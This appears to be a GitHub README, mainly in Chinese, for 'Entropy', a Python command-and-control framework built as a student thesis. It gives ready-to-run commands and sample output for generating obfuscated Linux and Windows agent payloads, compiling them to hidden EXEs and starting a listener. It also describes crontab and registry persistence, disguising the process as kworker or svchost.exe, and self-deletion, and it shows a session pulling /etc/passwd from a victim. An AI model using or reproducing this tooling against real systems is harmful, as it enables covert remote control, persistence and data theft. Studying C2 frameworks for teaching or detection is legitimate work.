httpbnry/entropy
GitHub: httpbnry/entropy
一个轻量级的 Python C2 框架,通过 Fernet 加密实现跨平台远程控制,专注于教学与研究中对命令与控制通信的演示。
Stars: 1 | Forks: 0
# Entropy C2 框架
**作者:** jdb / httpbnry
**Entropy** 是一个客户端-服务器命令与控制(C2)框架,设计重点在于隐蔽性、点对点加密和模块化。本项目是为计算机系统管理(ASIR)的毕业设计(TFG)而开发的。
### 功能特性
| 类别 | 特性 |
|-----------|----------------|
| **加密** | 使用 Fernet(AES-128)进行点对点加密通信 |
| **CLI** | 带有参数的命令行界面,支持 `generate` / `handler` 风格,基于 argparse |
| **Handler** | 支持多会话的交互式 Shell,带有颜色,支持 `download`、`upload`、`ping`、`info`、`selfdestruct` |
| **Payloads** | 使用单个命令即可生成适用于 Linux 和 Windows 的载荷 |
| **混淆** | 3 种模式:`none`(可读)、`xor`(XOR + base64)、`packed`(zlib + base64 存根) |
| **EXE** | 可选择使用 PyInstaller 编译为可执行文件(`--onefile --noconsole`) |
| **持久化** | Crontab (Linux) / 注册表 `HKCU\...\Run` (Windows) |
| **规避** | 进程重命名为 `[kworker/0:0]` / `svchost.exe`,全面捕获异常 |
| **重连** | 如果连接丢失,每 30 秒循环重连 |
| **自毁** | 移除持久化,从磁盘删除自身并退出 |
## 架构
```
+-----------------+ Cifrado Fernet +-----------------+
| Handler (C2) | <------------------------> | Agent (Victim) |
| (entropy.py) | TCP + AES-128 | (payload.py) |
+-----------------+ +-----------------+
```
- **Handler**:具有多会话交互式 Shell、ANSI 颜色、文件传输和 Agent 管理功能的 C2 服务器。
- **Agent**:在远程机器上运行的 Payload。支持持久连接、可配置混淆、自毁以及文件上传/下载。
## 系统要求
- Python 3.8+
- `pip install -r requirements.txt`
## 安装说明
```
git clone
cd entropy
pip install -r requirements.txt
```
## 快速使用
```
# 生成用于 Linux 的 payload(无混淆)
python3 entropy.py generate --ip 192.168.1.100 --port 4443
# 生成带有 XOR 混淆的 payload + 编译为 EXE
python3 entropy.py generate --ip 192.168.1.100 --port 4443 --obf xor --exe
# 生成压缩的 (packed) Windows payload
python3 entropy.py generate --ip 10.0.0.5 --port 8080 --os windows --obf packed
# 使用自动生成的密钥启动 handler
python3 entropy.py handler --port 4443 --gen-key
# 使用现有密钥启动 handler
python3 entropy.py handler --port 4443 --key
```
### 生成 Payload (CLI)
```
$ python3 entropy.py generate --help
usage: entropy.py generate [-h] --ip IP [--port PORT] [--os {linux,windows}]
[--obf {none,xor,packed}] [--exe] [--key KEY]
[--output OUTPUT] [--name NAME]
options:
--ip IP Handler IP (obligatorio)
--port PORT Puerto (default: 4443)
--os {linux,windows} SO objetivo (default: linux)
--obf {none,xor,packed}
Ofuscacion (default: none)
--exe Compilar a EXE con PyInstaller
--key KEY Clave Fernet (auto-generada si se omite)
--output OUTPUT Directorio de salida (default: payloads)
--name NAME Nombre del archivo generado
```
示例:
```
$ python3 entropy.py generate --ip 192.168.1.100 --port 4443 --os linux --obf xor
[+] Payload: payloads/agent_linux_192_168_1_100_4443_obf.py
[+] Key:
```
### 启动 Handler (CLI)
```
$ python3 entropy.py handler --help
usage: entropy.py handler [-h] [--port PORT] [--host HOST]
[--key KEY | --gen-key]
options:
--port PORT Puerto de escucha (default: 4443)
--host HOST Direccion de escucha (default: 0.0.0.0)
--key KEY Clave Fernet
--gen-key Generar nueva clave
```
```
$ python3 entropy.py handler --port 4443 --gen-key
[+] Generated key:
[*] Starting handler on 0.0.0.0:4443
[*] Handler listening on 0.0.0.0:4443
```
当有 Agent 连接时:
```
[+] New session #1 from 192.168.1.50:54321
```
### Handler 的交互式 Shell
```
entropy(c2)> help
Handler Commands:
sessions List active agent sessions
interact Interact with an agent session
generate Generate an agent payload
help Show this help message
exit / back Return to main menu
```
### 与 Agent 交互
```
entropy(c2)> interact 1
[*] Interacting with session #1 (192.168.1.50:54321)
[*] Type help for commands, back to return
agent(#1)> help
Commands:
help Show this help
back Return to handler
ping Check if agent is alive
info Show agent information
download Download file from agent
upload [remote] Upload file to agent
selfdestruct Remove agent from system
Execute any shell command
agent(#1)> whoami
root
agent(#1)> download /etc/passwd
[+] Downloaded 1234 bytes: /etc/passwd -> passwd
```
## 特性详解
### Handler
- 带有颜色和信息提示的交互式 Shell
- 多会话支持(threading)
- 文件传输:`download` / `upload`
- `ping` 命令,用于验证 Agent 的连通性
- `info` 命令,用于获取远程系统信息
- `selfdestruct` 命令,用于从系统中移除 Agent
- 内联 Payload 生成(支持混淆和 EXE 编译)
### Linux Agent
- 每 30 秒持久重连
- 通过用户的 crontab 实现持久化
- 规避检测:将进程重命名为 `[kworker/0:0]` (setproctitle)
- 全面捕获异常(从不在屏幕上显示错误)
- 通过 `/bin/sh -c` 执行命令
- 使用 base64 编码进行文件上传/下载
- 自毁:移除持久化,删除自身并退出
### Windows Agent
- 每 30 秒持久重连
- 通过注册表 (`HKCU\...\Run`) 实现持久化
- 规避检测:将控制台标题更改为 `svchost.exe` + `CREATE_NO_WINDOW`
- 全面捕获异常
- 通过 `cmd.exe /c` 执行命令
- 使用 base64 编码进行文件上传/下载
- 自毁:移除持久化,删除自身并退出
### 混淆
| 模式 | 描述 |
|----------|--------------------------------------------------|
| `none` | 代码可读,IP/PORT/KEY 为明文 |
| `xor` | 使用随机字节 XOR 进行字符串混淆 |
| `packed` | 通过 zlib + base64 压缩代码并打包至存根中 |
### 编译为 EXE
可选择使用 PyInstaller 将 Payload 编译为可执行文件
(`--onefile --noconsole`)。需要安装 PyInstaller。
## 协议
1. 握手:Agent 在连接时发送 `encrypt("beacon")`
2. 命令:带有长度的 4 字节前缀 + 加密数据(Fernet)
3. 响应:相同格式(前缀 + 加密数据)
4. 带有 `__command__|` 前缀的特殊命令,用于 download/upload/自毁
## 目录结构
```
entropy/
+-- entropy.py # Entry point principal
+-- modules/
| +-- __init__.py
| +-- crypto.py # Cifrado Fernet (AES-128)
| +-- handler.py # Servidor C2 y shell interactiva
| +-- agent.py # Templates de agentes + generacion + ofuscacion
+-- payloads/ # Payloads generados
+-- requirements.txt # Dependencias
+-- README.md
+-- .gitignore
```
## 法律声明
本工具仅出于教育目的和授权的安全审计而提供。未经授权将其用于访问系统是
非法行为。作者不对滥用行为承担责任。
标签:AES加密, Awesome, C2框架, DNS 反向解析, Fernet, IP 地址批量处理, Python, TCP通信, 云资产清单, 后门, 命令与控制, 嗅探欺骗, 安全学习资源, 安全防御 evasion, 攻击路径可视化, 无后门, 木马, 权限维持, 漏洞挖掘, 系统管理, 终端安全, 网络信息收集, 网络安全, 远程控制, 逆向工具, 逆向工程, 配置错误, 隐私保护, 黑客工具